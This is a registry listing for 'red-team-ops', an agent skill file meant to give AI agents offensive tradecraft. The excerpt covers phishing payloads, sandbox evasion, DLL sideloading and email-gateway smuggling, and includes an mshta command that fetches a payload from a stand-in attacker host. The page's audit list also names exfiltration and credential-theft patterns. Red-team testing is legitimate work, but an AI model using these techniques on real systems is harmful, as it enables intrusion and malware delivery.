red-team-ops SKILL.md skillA
red-team-ops from hypnguyen1209/offensive-claude is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add hypnguyen1209/offensive-claude/red-team-ops@git:20260629.9f4a1a5Pins git:20260629.9f4a1a5 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- A, 17 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- hypnguyen1209/offensive-claude
- Path
skills/red-team-ops/SKILL.md- Versions recorded
- 3
- Latest version
- git:20260629.9f4a1a5, committed Jun 29, 2026
- First version recorded
- May 19, 2026
- Size
- 7,716 bytes
- Repository stars
- 414
- License
- MIT
Use when running a full red-team engagement end-to-end — initial access, persistence, privilege escalation, defense evasion, C2 infrastructure, EDR bypass, living-off-the-land.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# Red Team Operations ## When to Activate - Simulating advanced persistent threat (APT) operations - Testing detection and response capabilities - Establishing persistent access and C2 - Evading EDR/AV/SIEM detection - Privilege escalation on compromised hosts - Data exfiltration planning ## Initial Access ### Phishing Payloads ```bash # Office macro (VBA) # - AutoOpen/Document_Open trigger # - Download cradle: PowerShell IEX or certutil # - Sandbox evasion: check domain join, user interaction delay # HTA (HTML Application) mshta http://attacker.com/payload.hta # ISO/IMG mounting (bypass MOTW) # Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL # OneNote (.one) with embedded scripts # Drag-and-drop .bat/.hta behind fake "Double click to view" image # DLL sideloading # Find legitimate signed EXE that loads DLL from CWD # Place malicious DLL alongside legitimate EXE in delivery package ``` ### Delivery Mechanisms ``` # Smuggling past email gateways: # - Password-protected ZIP (password in email body) # - HTML smuggling (JS constructs blob → downloads file) # - QR code to attacker-controlled site # - Legitimate file-sharing (OneDrive, Google Drive links) …
Read the whole file at its exact version.
How to install
mdr add hypnguyen1209/offensive-claude/red-team-ops@sha256:6e1d7e94440ec86bThe line at the top of this page pins the label git:20260629.9f4a1a5, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_zt2tv4nbragrqf6m)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 3 versions of this file, between May 19, 2026 and Jun 29, 2026, about one every 20 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260629.9f4a1a5 latest | 2026-06-29 | 9f4a1a5 | 7,716 B | A | view · diff |
| git:20260528.6136b32 | 2026-05-28 | 6136b32 | 7,686 B | A | view · diff |
| git:20260519.5ae9faf | 2026-05-19 | 5ae9faf | 7,381 B | A | view |
Audit of the latest version
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (7716 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
hypnguyen1209/offensive-claude · 414 stars · license MIT · pushed 2026-10-22 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_zt2tv4nbragrqf6m GET https://markdownregistry.com/api/v1/resolve?ref=hypnguyen1209/offensive-claude/red-team-ops GET https://markdownregistry.com/api/v1/blob/6e1d7e94440ec86be43e730d23378db552cb658367eb963e04853e4fdcd2361d
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.